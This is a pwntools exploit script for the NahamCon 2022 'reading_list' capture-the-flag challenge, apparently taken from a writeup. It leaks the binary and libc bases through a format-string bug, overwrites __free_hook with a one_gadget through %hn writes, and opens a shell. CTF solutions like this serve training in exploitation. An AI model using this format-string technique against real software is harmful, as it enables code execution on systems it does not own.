Rating: 4.5

```python
from pwn import *
from pprint import pprint

elf = ELF("./reading_list")

libc = ELF("./libc")

def add_book(book_name):
p.sendline(b'2')
p.recvuntil(b'book name: ')
p.sendline(book_name.encode())
p.recvuntil(b"> ")

def rem_book(idx, write=False):
p.sendline(b"3")

p.recvline()
p.recvline()

books = carve_books(write)

p.recvuntil(b": ")
p.sendline(str(idx).encode())

return books

def change_name(name):
p.sendline(b"4")
p.recvuntil(b"name: ")
p.sendline(name)
p.recvuntil(b"> ")

def carve_books(write):

if write:
return None

books = p.recvuntil(b"\n\n").strip(b"\n\n")
books = books.decode().split("\n")

for i in range(len(books)):
books[i] = "".join(list(books[i])[3:])

return books

def get_book_list(write=False):
p.sendline(b"1")
p.recvline()
books = carve_books(write)
p.recvuntil(b"> ")

return books

# exploit locally
p = elf.process()

# exploit remote
# p = remote("challenge.nahamcon.com", 30367)

# send name to start
p.recvuntil(b"name: ")
p.sendline(b"A"*8)
p.recvuntil(b"> ")

# get base addr of binary incase we needed it
add_book("%11$p")
base = int(get_book_list()[0], 16) - 6116
elf.address = base
log.info(f"base: {hex(base)}")
rem_book(1)

# leak libc addr and calculate base
add_book("%23$p")
libc_base = int(get_book_list()[0], 16) - 8371 - 139264
libc.address = libc_base
log.info(f"libc: {hex(libc_base)}")
rem_book(1)

# get addr of __free_hook in libc
free_hook = libc.symbols['__free_hook']
log.info(f"free_hook: {hex(free_hook)}")

# calculate addr of one gadget to use
one_gadget = libc.address + 0xe3b31
log.info(f"og: {hex(one_gadget)}")

#######################################
# writes will be in series of two bytes#
#######################################

# first two bytes
first = one_gadget - (one_gadget >> 16 << 16)
log.info(f"first write: {hex(first)}")

# second two bytes
second = (((one_gadget >> 16 << 16) - (one_gadget >> 32 << 32)) >> 16)
log.info(f"second write: {hex(second)}")

# third two bytes
third = (one_gadget >> 32)
log.info(f"third write: {hex(third)}")

# set name to address' of __free_hook for referencing from the stack
change_name(p64(free_hook)+p64(free_hook+2)+p64(free_hook+4))

# first write-what-where
payload = f"%{str(first).rjust(6, '0')}c"
payload += "%0022$hn"
add_book(payload)

# second write-what-where
payload = f"%{str(second).rjust(6, '0')}c"
payload += "%0023$hn"
add_book(payload)

# third write-what-where
payload = f"%{str(third).rjust(6, '0')}c"
payload += "%0024$hn"
add_book(payload)

# trigger format string vuln from 'print_list' and call to 'free'
rem_book(1, write=True)

p.interactive()

```

Original writeup (https://github.com/d3vinfos3c/CTF_Writeups/tree/main/nahamcon22/pwn/reading_list).